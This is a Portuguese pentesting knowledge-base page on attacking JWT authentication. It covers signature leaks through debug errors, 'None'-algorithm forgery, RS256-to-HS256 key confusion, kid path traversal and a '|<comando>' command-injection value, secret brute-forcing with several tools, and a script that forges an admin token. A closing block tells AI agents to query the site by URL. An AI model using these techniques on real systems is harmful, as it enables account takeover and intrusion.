# JWT

### Estrutura

O JWT (JSON Web Token) é divido em 3 partes, separadas por um `.` (ponto). A primeira parte é o `Header` (configurações do JWT), a segunda parte é o `Payload` (infomações particulares do usuário) e o último é a `Assignature` (chave de acesso). Tanto o Header, quanto o Payload podem ser descriptografados e manipulados, pois estão em `base64`.

No Header, geralmente vamos temos ter uma configuração do tipo `{"alg":"HS256","typ":"JWT"}`, onde podemos selecionar o tipo de algorítmo, como `HS256` (chave secreta para assinar e verificar cada mensagem) ou `RS256` (usa a chave privada para assinar a mensagem e a chave pública para autenticação). Como a chave pública às vezes pode ser obtida pelo invasor, ele pode modificar o algorítmo no cabeçalho para HS256 e, em seguida, usar a chave pública RSA para assinar os dados. O código de back-end usa a chave pública RSA + algorítmo HS256 para verificação de assinatura.

Na segunda parte (payload) contém informações do user, como login, groups, etc. Também vemos alguns valores não obrigatórios, mostrados abaixo:

| **INDEX**          | **DESCRIÇÃO**                                                                   |
| ------------------ | ------------------------------------------------------------------------------- |
| `sub` (subject)    | Entidade à quem o token pertence, normalmente o ID do usuário                   |
| `iss` (issuer)     | Emissor do token                                                                |
| `exp` (expiration) | Timestamp de quando o token irá expirar                                         |
| `iat` (issued at)  | Timestamp de quando o token foi criado                                          |
| `nbf (Not Before)` | Identifica o tempo antes do qual o token não deve ser aceito para processamento |
| `aud` (audience)   | Destinatário do token, representa a aplicação que irá usá-lo                    |

A última parte (assignature) é feita com o seguinte padrão (exemplo feito em Python):

```python
key = 's3cr3tk3y'
unsignedToken = encodeBase64(header) + '.' + encodeBase64(payload)
signature = HMAC-SHA256(key, unsignedToken)
```

### Gerando Chave Privada e Pública

```bash
ssh-keygen -t rsa -b 4096 -m PEM -f jwtRS256.key
openssl rsa -in jwtRS256.key -pubout -outform PEM -out jwtRS256.key.pub
```

### Manipulando Token

Isso irá alterar os valores em tempo real.

```bash
python3 jwt_tool.py -T "<token>"
```

### JsonWebTokenError (Modo Debug Ativo)

Nada melhor do que procurar dados sensíveis em um dos princípios básicos da segurança: *Mensagens de erro ou debug!!*

No caso do JWT é até melhor do que isso, pois podemos ter na resposta do erro, a assinatura (última parte do token). E o melhor de tudo, para fazer isso basta enviar um token inválido. Mas não envie um `abcd` da vida no token, mas sim um token inválido que tenha pelo menos a estrutura de um token válido, por exemplo, podemos pegar um token válido e alterar o payload.

Provavelmente ao enviar o token manipulado, a aplicação irá nos retornar uma mensagem como no exemplo abaixo, então basta pegar o hash desse resultado (em negrito), colocar na última parte do token (assinatura) e enviar novamente ao endpoint.

`JsonWebTokenError: Invalid Signature. Expected`` `***`cASN_7WEv-nr_Z7XZFT0hVGOFPeeo7Qlvp7-QrZtdw4`***` ``got 7zobEz6bncpk7OjQpTfvh-a3ElW1HK3L4Wyypgxa_dw`

### None Algorithms

Pegue o token JWT, divida-o em 3 partes separadas por pontos (*`<header>.<payload>.<assignature>`*). Faça um base64 decode da primeira parte e altere o valor de `alg` para `None`. Agora na segunda parte, manipule algum valor do user, por exemplo, podemos mudar o tipo do user para um perfil de administrador ou até mesmo ter acesso ao usuário admin (alterando o username/login). A última parte é a assinatura, então não iremos mexer em nada.

{% hint style="success" %}
**DICA**: Já presenciei alguns valores diferente do **`alg`** dando certo de maneiras diferentes e em diferentes lugares, então tente algumas variantes, como **`None`**, **`none`**, **`"None"`** e **`"none"`**.
{% endhint %}

Feito isso, codifique essas duas partes em base64 e monte o token novamente, utilizando o `.` (ponto) para dividir as 3 partes. Como o `alg`  foi definido como `None`,  então não precisa colocar a última parte do token, ficando assim no seguinte padrão: *`<header>.<payload>.`* (Deixe o ponto no final). Agora coloque o token no header e veja se o resultado.

{% hint style="success" %}
**NOTA**: Ao fazer um base64 decode, pode ser que o json não fiquei no seu formato correto (geralmente faltando um **`}`** no final). Arrume isso colocando um sinal de **`=`** no final do encode original, mas não use-o no Request Header.
{% endhint %}

#### TokenBreaker

Tudo o que vimos como fazer um ataque *None Algorithms* de forma manual, vamos utilizar uma ferramenta para automatizar o processo.

```bash
python3 TheNone.py -t <token>
```

### Convertendo RSA para HMAC

Podemos modificar o header para ler um HMAC (HS256) ao invés de  RSA (RS256). Porém, para realizarmos essa operação, precisamos ter um `rsa public key` em mãos, ou caso contrário, não irá ter êxito. O `RsaToMac.py` faz parte do pacote `TokenBreaker`.

```bash
python3 RsaToHmac.py -t <token> -p <publickey.crt>
```

### KID (Key ID)

Em alguns casos (principalmente nas aplicações mais modernas do JWT), vemos o campo **`kid`** (Key ID) no header, seguido de um hash. O servidor usa isso para evitar que alguém possar alterar os valores do header. Mas como nada é perfeito, veremos que o `kid` também possui falhas.

Podemos utilizar um token de outro usuário, alterando o valor do `kid` para `../../../../../../../../../../dev/null`,  e utilizando a key (para gerar o token com valor vazio). Feito isso, basta alterar no payload as devidas informações para utilziar a conta de outro usuário.

Também podemos citar a **CVE-2017-17405** que surgiu a partir do `kid`,  onde podemos conseguir um RCE, aproveitando de uma falha escrita em Ruby. Para isso, precisamos apenas trocar o valor do `kid` para `|<comando>`.

#### jwt\_tool

```bash
python3 jwt_tool.py <token> -I -hc kid -hv "../../../../../../../dev/null" -S hs256 -p ""
```

### Brute Force

#### jwtcat

Utilizando incremental

```bash
python3 jwtcat.py brute-force --increment-min 6 --increment-max 6 "<token>"
```

Utilizando wordlist

```bash
python3 jwtcat.py wordlist -w <wordlist> <token>
```

#### jwt\_tool

Selecione a opção 7 depois de executar o comando abaixo:

```bash
python3 jwt_tool.py -d <wordlist.txt> <token>
```

#### c-jwt-cracker

Brute force em uma senha que possui somente 6 dígitos:

```bash
./jwtcrack <token> 1234567890 6
```

#### jwt-pwn

```bash
python jwt-cracker.py -w <wordlist.txt> -jwt <token>
```

#### jwtcrack

```bash
python3 crackjwt.py <token> <wordlist.txt>
```

#### Hashcat

```bash
hashcat <hash.txt> <wordlist.txt> -m 16500 -a 3 -w 3
```

#### John the Ripper

```bash
john <token.txt> --wordlist=<wordlist.txt> --format=HMAC-SHA256
```

### Forjando JWT com Certificado Digital

Primeiro vamos extrair o certificado (https), que pode ser pêgo através do navegador web, ou utilizando o comando abaixo e verificando sua saída.

```bash
openssl s_client -connect <site.com>:443
```

Agora devemos extrair a nossa chave pública a partir do certificado que acabamos de capturar.

```bash
openssl x509 -pubkey -noout -in <certificado.crt> > publickey.pem
```

Abaixo está um script desenvolvido em python para gerar um novo token JWT válido a partir da chave pública gerada. Não se esqueça de alterar o valor da variável `encoded_payload` no código abaixo.

```bash
import jwt

key = open("publickey.pem").read()
encoded_payload = jwt.encode(
{
  "id": 1,
  "iat": 1571250692,
  "exp": 1571237092,
  "username": "administator"
},
key,
algorithm='HS256'
)

print "Forged Token: %s" % (encoded_payload)
```

Por fim, execute o script para ter um JWT válido em mãos

```bash
python <xpl.py>
```

### Buscando por Diversas Vulnerabilidades

#### jwt tools

```bash
python3 jwt_tool.py -M at -t "https://site.com" -rh "Authorization: Bearer <token>"
```

#### jwtcat

```
python3 jwtcat.py vulnerable <token>
```

#### Sites

```bash
# Validação de tokens
https://jwt.io/

# Tools
https://github.com/Goron/TokenBreaker
https://github.com/AresS31/jwtcat
https://github.com/ticarpi/jwt_tool
https://github.com/Sjord/jwtcrack
https://github.com/brendan-rius/c-jwt-cracker
https://github.com/mazen160/jwt-pwn

# Explicação sobre como funciona o JWT
https://tools.ietf.org/html/rfc7515

# Tutoriais sobre ataques contra JWT
https://medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e6
https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a
https://medium.com/trainingcenter/jwt-usando-tokens-para-comunica%C3%A7%C3%A3o-eficiente-cf0551c0dd99
https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries//
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/january/jwt-attack-walk-through/
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://mysther.gitbook.io/knowledge-base/criptografia/jwt.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
